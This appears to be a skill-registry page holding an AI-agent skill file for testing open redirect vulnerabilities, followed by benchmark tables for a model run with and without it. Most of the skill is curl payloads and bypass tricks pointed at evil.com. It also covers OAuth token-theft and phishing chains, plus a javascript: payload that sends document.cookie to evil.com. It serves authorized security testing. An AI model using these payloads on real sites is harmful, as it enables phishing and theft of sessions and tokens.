Install any skill in seconds. Free to start, no credit card required.
Get Started Free →Identify and test open redirect vulnerabilities in web applications by analyzing URL redirection parameters, bypass techniques, and exploitation chains for phishing and token theft.
.claude/skills/testing-for-open-redirect-vulnerabilities/SKILL.md| Test case | Without → With | Effect | Δ tokens | Δ turns |
|---|---|---|---|---|
| case-01 | ✗→✓ | ▲ Improved | — | — |
| case-14 | ✗→✓ | ▲ Improved | — | — |
| case-16 | ✗→✓ | ▲ Improved | — | — |
| case-09 | ✓→✓ | = Same ✓ | — | — |
| case-05 | ✓→✓ | = Same ✓ | — | — |
> Legal Notice: This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.
bash# Common redirect parameter names to test: # ?url= ?redirect= ?next= ?return= ?returnUrl= ?goto= ?target= # ?dest= ?destination= ?redir= ?redirect_uri= ?continue= ?view= # Search for redirect parameters in the application # Use Burp Suite to crawl and identify all parameters # Test basic redirect curl -v "http://target.com/login?next=https://evil.com" curl -v "http://target.com/logout?redirect=https://evil.com" curl -v "http://target.com/oauth/authorize?redirect_uri=https://evil.com"
bash# Direct external URL curl -v "http://target.com/redirect?url=https://evil.com" # Protocol-relative URL curl -v "http://target.com/redirect?url=//evil.com" # URL with @ symbol (userinfo abuse) curl -v "http://target.com/redirect?url=https://target.com@evil.com" # Backslash-based redirect curl -v "http://target.com/redirect?url=https://evil.com\@target.com" # Null byte injection curl -v "http://target.com/redirect?url=https://evil.com%00.target.com"
bash# Subdomain confusion bypass curl -v "http://target.com/redirect?url=https://target.com.evil.com" curl -v "http://target.com/redirect?url=https://evil.com/target.com" # URL encoding bypass curl -v "http://target.com/redirect?url=https%3A%2F%2Fevil.com" curl -v "http://target.com/redirect?url=%68%74%74%70%73%3a%2f%2f%65%76%69%6c%2e%63%6f%6d" # Double URL encoding curl -v "http://target.com/redirect?url=%2568%2574%2574%2570%253A%252F%252Fevil.com" # Mixed case protocol curl -v "http://target.com/redirect?url=HtTpS://evil.com" # CRLF injection in redirect curl -v "http://target.com/redirect?url=%0d%0aLocation:%20https://evil.com" # JavaScript protocol curl -v "http://target.com/redirect?url=javascript:alert(document.domain)" # Data URI curl -v "http://target.com/redirect?url=data:text/html,<script>alert(1)</script>"
bash# Relative path injection curl -v "http://target.com/redirect?url=/\evil.com" curl -v "http://target.com/redirect?url=/.evil.com" # Path traversal with redirect curl -v "http://target.com/redirect?url=/../../../evil.com" # Fragment-based bypass curl -v "http://target.com/redirect?url=https://evil.com#target.com" # Parameter pollution for redirect curl -v "http://target.com/redirect?url=https://target.com&url=https://evil.com"
bash# Chain with OAuth for token theft # Step 1: Find open redirect on target.com # Step 2: Use it as redirect_uri in OAuth flow curl -v "http://target.com/oauth/authorize?client_id=CLIENT&redirect_uri=http://target.com/redirect?url=https://evil.com&response_type=code" # Chain with phishing # Create convincing phishing page at evil.com # Use open redirect: http://target.com/redirect?url=https://evil.com/login # Victim sees target.com in the initial URL # Chain with XSS via javascript: protocol curl -v "http://target.com/redirect?url=javascript:fetch('https://evil.com/?c='+document.cookie)"
bash# Use OpenRedireX for automated testing python3 openredirex.py -l urls.txt -p payloads.txt --keyword FUZZ # Use gf tool to extract redirect parameters from URLs cat urls.txt | gf redirect | sort -u > redirect_params.txt # Mass test with nuclei echo "http://target.com" | nuclei -t http/vulnerabilities/generic/open-redirect.yaml # Test with ffuf ffuf -w open-redirect-payloads.txt -u "http://target.com/redirect?url=FUZZ" -mr "Location: https://evil"
| Concept | Description | |---------|-------------| | Unvalidated Redirect | Application redirects to user-supplied URL without checking destination | | URL Parsing Inconsistency | Different libraries parse URLs differently, enabling bypass | | Protocol-Relative URL | Using // prefix to redirect while inheriting current protocol | | Userinfo Abuse | Using @ symbol to make URL appear to belong to trusted domain | | Open Redirect Chain | Combining multiple open redirects or chaining with other vulnerabilities | | DOM-Based Redirect | Client-side JavaScript performing redirect using attacker-controlled input | | Meta Refresh Redirect | HTML meta tag performing redirect without server-side 302 |
| Tool | Purpose | |------|---------| | OpenRedireX | Automated open redirect vulnerability testing tool | | Burp Suite | HTTP proxy for intercepting and modifying redirect parameters | | gf (tomnomnom) | Pattern matcher to extract redirect parameters from URL lists | | nuclei | Template-based scanner with open redirect detection templates | | ffuf | Fuzzer for mass-testing redirect parameter payloads | | OWASP ZAP | Automated scanner with open redirect detection |
## Open Redirect Assessment Report
- **Target**: http://target.com
- **Vulnerable Parameters Found**: 3
- **Bypass Techniques Required**: URL encoding, userinfo abuse
### Findings
| # | Endpoint | Parameter | Payload | Impact |
|---|----------|-----------|---------|--------|
| 1 | /login | next | //evil.com | Phishing |
| 2 | /oauth/authorize | redirect_uri | https://target.com@evil.com | Token Theft |
| 3 | /logout | return | https://evil.com%00.target.com | Session Redirect |
### Remediation
- Implement allowlist of permitted redirect destinations
- Validate redirect URLs server-side using strict URL parsing
- Reject any redirect URL containing external domains
- Use indirect reference maps instead of direct URL parameters| Case | Status | Duration (ms) | Turns | Tokens | Tool calls | ||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| Without | With | Δ | Without | With | Δ | Without | With | Δ | Without | With | Δ | ||
case-08 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-09 | pass→pass | — | — | — | — | — | — | — | — | — | — | — | — |
case-12 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-20 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-17 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-01 | fail→pass | — | — | — | — | — | — | — | — | — | — | — | — |
case-05 | pass→pass | — | — | — | — | — | — | — | — | — | — | — | — |
case-07 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-25 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-03 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-11 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-06 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-22 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-02 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-14 | fail→pass | — | — | — | — | — | — | — | — | — | — | — | — |
case-24 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-13 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-19 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-18 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-04 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-10 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-15 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-16 | fail→pass | — | — | — | — | — | — | — | — | — | — | — | — |
case-21 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-23 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
DecimalAI ran this skill against gemini-3.6-flash twice over the same eval suite — once with the skill loaded and once without — and compared the two runs case by case. 25 cases were attempted. The headline lift of +12 percentage points is the difference between those two pass rates over the 25 comparable cases.
The per-case answers from this run were removed by the retention sweep, so the case table below shows the verdicts without the text either arm produced. The counts above were recorded at the time and are unaffected. Answers are now kept for 180 days.
Other measured skills in the registry, with their headline benchmark lift.